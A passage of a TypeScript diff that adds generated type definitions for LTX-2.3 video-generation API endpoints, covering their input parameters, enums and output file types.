Without preserve_original_video it only trims the denoise schedule. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Skip the built-in control estimation (depth / edge / pose) and use control_video_url directly as the control signal. Requires control_video_url; ignored if it is not set. With resolution='auto', the output follows the source video size/aspect up to the LTX limits. Explicit resolutions are honored and 64-aligned so the RGB video and control video stay matched. + * @default false + * @type boolean | undefined + */ + skip_control_preprocess?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityReferenceVideoToVideoVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Video conditioning strength. Lower values give the model more freedom to change the reference video motion/structure. + * @minimum 0 + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + video_strength?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated video. In direct-control mode (skip_control_preprocess with control_video_url), 'auto' follows the source video size/aspect up to the LTX limits and explicit sizes are honored with 64px alignment. In the built-in control estimation mode, the output stays near the official control workflow size. Higher resolutions reduce the maximum stable frame count; lower resolutions can run longer. + * @default auto + */ + resolution?: + | ImageSize9Bf02D30 + | InputFalAiLtx23QualityReferenceVideoToVideoResolutionKey + /** + * @description Optional middle-frame keyframe image. When set, the look/appearance is anchored to this image around the middle of the clip (in addition to image_url at the start), so the appearance follows a moving camera instead of drifting. Requires image_url. + */ + mid_image_url?: string | null + /** + * @description Optional pre-computed control video (e.g. an already-rendered depth / edge / pose composite). When provided together with skip_control_preprocess, the built-in control estimation is skipped and this video is used directly as the control signal, resampled to the output resolution and frame count. + */ + control_video_url?: string | null + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityReferenceVideoToVideoVideoWriteModeEnumKey + /** + * @description Optional reference image for style/character anchoring. This is the FIRST-frame keyframe. + */ + image_url?: string | null + /** + * @description Optional last-frame keyframe image. When set, the look/appearance is anchored to this image at the end of the clip. Useful for shots where the camera travels to a different place than the start image. Requires image_url. + */ + end_image_url?: string | null +} + +export type FileDd6C14B8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityReferenceVideoToVideo = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileDd6C14B8 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInputAd678590TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInputAd678590TransformerEnumKey = + (typeof loRAInputAd678590TransformerEnum)[keyof typeof loRAInputAd678590TransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInputAd678590 = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInputAd678590TransformerEnumKey +} + +export type ImageSizeCb962994 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityReferenceVideoToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityReferenceVideoToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityReferenceVideoToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityReferenceVideoToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityReferenceVideoToVideoLoraResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityReferenceVideoToVideoLoraResolutionKey = + (typeof inputFalAiLtx23QualityReferenceVideoToVideoLoraResolution)[keyof typeof inputFalAiLtx23QualityReferenceVideoToVideoLoraResolution] + +export const inputFalAiLtx23QualityReferenceVideoToVideoLoraVideoWriteModeEnum = + { + fast: 'fast', + balanced: 'balanced', + small: 'small', + } as const + +export type InputFalAiLtx23QualityReferenceVideoToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityReferenceVideoToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityReferenceVideoToVideoLoraVideoWriteModeEnum] + +export type InputFalAiLtx23QualityReferenceVideoToVideoLora = { + /** + * @description The number of output frames to generate. This IC-LoRA endpoint caps the resolution x frames volume for stability (~150 frames at 720p-class; more at smaller sizes). A request above the budget returns a 422 — reduce num_frames or use a smaller resolution. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description True video-to-video: the base video_url is used as the generation's starting point, while control_video_url still drives the structure. The amount of the original preserved is controlled by `strength` (denoise): lower `strength` keeps more of the original video's pixels. Requires skip_control_preprocess, video_url and control_video_url. Default off leaves the standard control path unchanged. + * @default false + * @type boolean | undefined + */ + preserve_original_video?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to guide generation. + * @example A dancer in a flowing red dress against a black backdrop, studio lighting, cinematic. + * @type string + */ + prompt: string + /** + * @description The URL of the reference video that supplies motion/structure. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Sampler denoise strength for reference-video-to-video. With preserve_original_video on, this is the video-to-video amount: lower values keep more of the original video's pixels (e.g. 0.5 = keep ~50%), 1.0 fully regenerates. Without preserve_original_video it only trims the denoise schedule. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInputAd678590[] + /** + * @description Skip the built-in control estimation (depth / edge / pose) and use control_video_url directly as the control signal. Requires control_video_url; ignored if it is not set. With resolution='auto', the output follows the source video size/aspect up to the LTX limits. Explicit resolutions are honored and 64-aligned so the RGB video and control video stay matched. + * @default false + * @type boolean | undefined + */ + skip_control_preprocess?: boolean + /** + * @description Video conditioning strength. Lower values give the model more freedom to change the reference video motion/structure. + * @minimum 0 + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + video_strength?: number + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityReferenceVideoToVideoLoraVideoQualityEnumKey + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated video. In direct-control mode (skip_control_preprocess with control_video_url), 'auto' follows the source video size/aspect up to the LTX limits and explicit sizes are honored with 64px alignment. In the built-in control estimation mode, the output stays near the official control workflow size. Higher resolutions reduce the maximum stable frame count; lower resolutions can run longer. + * @default auto + */ + resolution?: + | ImageSizeCb962994 + | InputFalAiLtx23QualityReferenceVideoToVideoLoraResolutionKey + /** + * @description Optional middle-frame keyframe image. When set, the look/appearance is anchored to this image around the middle of the clip (in addition to image_url at the start), so the appearance follows a moving camera instead of drifting. Requires image_url. + */ + mid_image_url?: string | null + /** + * @description Optional pre-computed control video (e.g. an already-rendered depth / edge / pose composite). When provided together with skip_control_preprocess, the built-in control estimation is skipped and this video is used directly as the control signal, resampled to the output resolution and frame count. + */ + control_video_url?: string | null + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityReferenceVideoToVideoLoraVideoWriteModeEnumKey + /** + * @description Optional reference image for style/character anchoring. This is the FIRST-frame keyframe. + */ + image_url?: string | null + /** + * @description Optional last-frame keyframe image. When set, the look/appearance is anchored to this image at the end of the clip. Useful for shots where the camera travels to a different place than the start image. Requires image_url. + */ + end_image_url?: string | null +} + +export type FileEec7Bc8B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityReferenceVideoToVideoLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileEec7Bc8B + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityRenderToRealIntensityEnum = { + light: 'light', + strong: 'strong', + 'strong-v2': 'strong-v2', +} as const + +export type InputFalAiLtx23QualityRenderToRealIntensityEnumKey = + (typeof inputFalAiLtx23QualityRenderToRealIntensityEnum)[keyof typeof inputFalAiLtx23QualityRenderToRealIntensityEnum] + +export const inputFalAiLtx23QualityRenderToRealResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityRenderToRealResolutionEnumKey = + (typeof inputFalAiLtx23QualityRenderToRealResolutionEnum)[keyof typeof inputFalAiLtx23QualityRenderToRealResolutionEnum] + +export const inputFalAiLtx23QualityRenderToRealVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityRenderToRealVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityRenderToRealVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityRenderToRealVideoQualityEnum] + +export const inputFalAiLtx23QualityRenderToRealVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityRenderToRealVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityRenderToRealVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityRenderToRealVideoWriteModeEnum] + +/** + * @description Render-to-real: turn a stylized 3D / CG / game render into photorealistic + * footage. + * + * The source ``video_url`` (the render) is fed straight into the IC-LoRA guide + * and re-rendered as photorealistic live-action through the render-to-real + * adapter; an optional ``image_url`` anchors the FIRST frame (image-to-video), + * matching how the adapter was trained. Output size follows the source video, + * capped to the stable IC-LoRA budget. Runs on the distilled 8-step path; the + * caller writes the ``prompt`` (pre-filled with the ``3DREAL`` trigger). + * Optional prompt expansion enriches it, and ``3DREAL`` is always kept; the + * final prompt used is returned in the output. + * @type object + */ +export type InputFalAiLtx23QualityRenderToReal = { + /** + * @description How hard to push the render toward photorealism. 'light' keeps more of the source render's look and motion; 'strong' transforms more aggressively for a more photoreal result; 'strong-v2' is the newest improved adapter (better multi-scene coherence, audio, talking characters, and higher overall quality). + * @default 'light' + * @type string | undefined + */ + intensity?: InputFalAiLtx23QualityRenderToRealIntensityEnumKey + /** + * @description Add a second refinement stage for a sharper, higher-resolution result. After the base pass the video latent is 2x latent-upscaled (spatial upscaler) and refined by a short detailer pass on the distilled model. NOTE: this doubles the output width AND height (4x the pixels), so the request costs roughly 4X THE PRICE and is slower. Off by default. + * @default false + * @type boolean | undefined + */ + enable_detail_refine?: boolean + /** + * @description The URL of the 3D / CG / game render to make photorealistic. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityRenderToRealResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Denoise strength of the detailer pass, used only when enable_detail_refine is on. Higher regenerates more detail (and can drift further from the base); lower is a lighter touch that stays closer to the base. Default 0.75. + * @minimum 0.3 + * @maximum 0.95 + * @default 0.75 + * @type number | undefined + */ + detail_refine_strength?: number + /** + * @description The text prompt, pre-filled with the `3DREAL` trigger the adapter activates on. Describe the photorealistic result after it. The `3DREAL` trigger is always kept, even if you clear it or enable prompt expansion. + * @default '3DREAL. ' + * @example 3DREAL. Make it a detailed realistic 3D render. A sleek, futuristic hoverbike with glowing blue lights speeds down a multi-lane highway, leaving a trail of orange exhaust. + * @type string | undefined + */ + prompt?: string + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description When enabled, an AI model expands your prompt into a richer description before generation (off by default sends it as written). The `3DREAL` trigger is always kept, and the final prompt used is returned in the output. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional reference image used as the FIRST frame (image-to-video anchor), matching how the adapter was trained. It defines the photoreal look of frame 0; leave empty to let the render alone drive the result. + */ + image_url?: string | null + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityRenderToRealVideoQualityEnumKey + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityRenderToRealVideoWriteModeEnumKey + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number +} + +export type FileA55111C8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityRenderToReal = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileA55111C8 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export type ImageSizeF2Babfc4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityTextToVideoResolution = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityTextToVideoResolutionKey = + (typeof inputFalAiLtx23QualityTextToVideoResolution)[keyof typeof inputFalAiLtx23QualityTextToVideoResolution] + +export const inputFalAiLtx23QualityTextToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityTextToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityTextToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityTextToVideoVideoWriteModeEnum] + +export const inputFalAiLtx23QualityTextToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityTextToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityTextToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityTextToVideoVideoQualityEnum] + +/** + * @description Text-to-video generation using LTX-2.3, at up to 1920x1080. + * @type object + */ +export type InputFalAiLtx23QualityTextToVideo = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated video. + * @default landscape_16_9 + */ + resolution?: + | ImageSizeF2Babfc4 + | InputFalAiLtx23QualityTextToVideoResolutionKey + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to generate the video from. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityTextToVideoVideoWriteModeEnumKey + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityTextToVideoVideoQualityEnumKey +} + +export type File793700Ac = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityTextToVideo = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File793700Ac + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInput9Fb18B2ETransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInput9Fb18B2ETransformerEnumKey = + (typeof loRAInput9Fb18B2ETransformerEnum)[keyof typeof loRAInput9Fb18B2ETransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInput9Fb18B2E = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInput9Fb18B2ETransformerEnumKey +} + +export type ImageSizeB05E9Dba = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityTextToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityTextToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityTextToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityTextToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityTextToVideoLoraResolution = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityTextToVideoLoraResolutionKey = + (typeof inputFalAiLtx23QualityTextToVideoLoraResolution)[keyof typeof inputFalAiLtx23QualityTextToVideoLoraResolution] + +export const inputFalAiLtx23QualityTextToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityTextToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityTextToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityTextToVideoLoraVideoWriteModeEnum] + +/** + * @description Text-to-video + user-supplied LoRAs. + * @type object + */ +export type InputFalAiLtx23QualityTextToVideoLora = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to generate the video from. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInput9Fb18B2E[] + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityTextToVideoLoraVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated video. + * @default landscape_16_9 + */ + resolution?: + | ImageSizeB05E9Dba + | InputFalAiLtx23QualityTextToVideoLoraResolutionKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityTextToVideoLoraVideoWriteModeEnumKey +} + +export type FileEa4D924F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityTextToVideoLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileEa4D924F + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityWaterSimulationResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityWaterSimulationResolutionEnumKey = + (typeof inputFalAiLtx23QualityWaterSimulationResolutionEnum)[keyof typeof inputFalAiLtx23QualityWaterSimulationResolutionEnum] + +export const inputFalAiLtx23QualityWaterSimulationVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityWaterSimulationVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityWaterSimulationVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityWaterSimulationVideoQualityEnum] + +export const inputFalAiLtx23QualityWaterSimulationVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityWaterSimulationVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityWaterSimulationVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityWaterSimulationVideoWriteModeEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityWaterSimulation = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The 